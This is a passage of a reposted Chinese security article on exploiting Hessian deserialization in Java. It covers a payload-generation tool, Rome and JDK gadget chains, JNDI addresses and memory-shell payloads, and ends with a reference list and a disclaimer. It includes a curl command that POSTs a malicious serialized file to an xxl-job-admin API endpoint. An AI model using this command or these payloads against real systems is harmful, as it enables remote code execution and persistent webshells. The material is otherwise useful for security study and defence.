【Java安全】Hessian反序列化攻击

工具支持输出base64、Hex以及导出序列化文件,以Rome链为例,在攻击载荷填入JNDI地址,导出序列化文件

【Java安全】Hessian反序列化攻击

使用Hessian反序列化hessian.ser,远程发送命令如下

curl -XPOST --data-binary @hessian.ser http://127.0.0.1:8080/xxl-job-admin/api -H "Content-Type:x-application/hessian"
【Java安全】Hessian反序列化攻击

当然也支持直接发送Http请求,这里使用xxl-job-admin api Hessian2反序列化漏洞为例,我们选择JDK原生利用链,恶意载荷使用JMG等工具生成内存马即可,这里使用Tomcat命令回显的payload,挂上代理

【Java安全】Hessian反序列化攻击
【Java安全】Hessian反序列化攻击

参考文章:

https://z3r4y.blog.csdn.net/article/details/136841234

https://blog.csdn.net/uuzeray/article/details/136641591

https://blog.csdn.net/weixin_43610673/article/details/128877353

https://goodapple.top/archives/1193

https://z3r4y.blog.csdn.net/article/details/136589322

https://www.cnblogs.com/LittleHann/p/17818994.html

https://xz.aliyun.com/news/13039

https://p0lar1ght.github.io/posts/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E5%8E%9F%E7%94%9FJDK%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90%E5%8F%8A%E4%B8%8D%E5%87%BA%E7%BD%91%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC/

https://su18.org/post/hessian/

https://www.cnblogs.com/nice0e3/p/15692979.html

https://yzddmr6.com/posts/swinglazyvalue-in-webshell

https://cloud.tencent.com/developer/article/2318125

https://www.cnblogs.com/F12-blog/p/18129839

https://www.cnblogs.com/zhaojiatao/p/8908335.html

【Java安全】Hessian反序列化攻击
【Java安全】Hessian反序列化攻击

陪伴是最长情的告白

为你推送最实用的网安知识

识别二维码

关注我们

【Java安全】Hessian反序列化攻击

原文始发于微信公众号(Sec探索者):【Java安全】Hessian反序列化攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月23日15:45:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Java安全】Hessian反序列化攻击https://cn-sec.com/archives/4085044.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息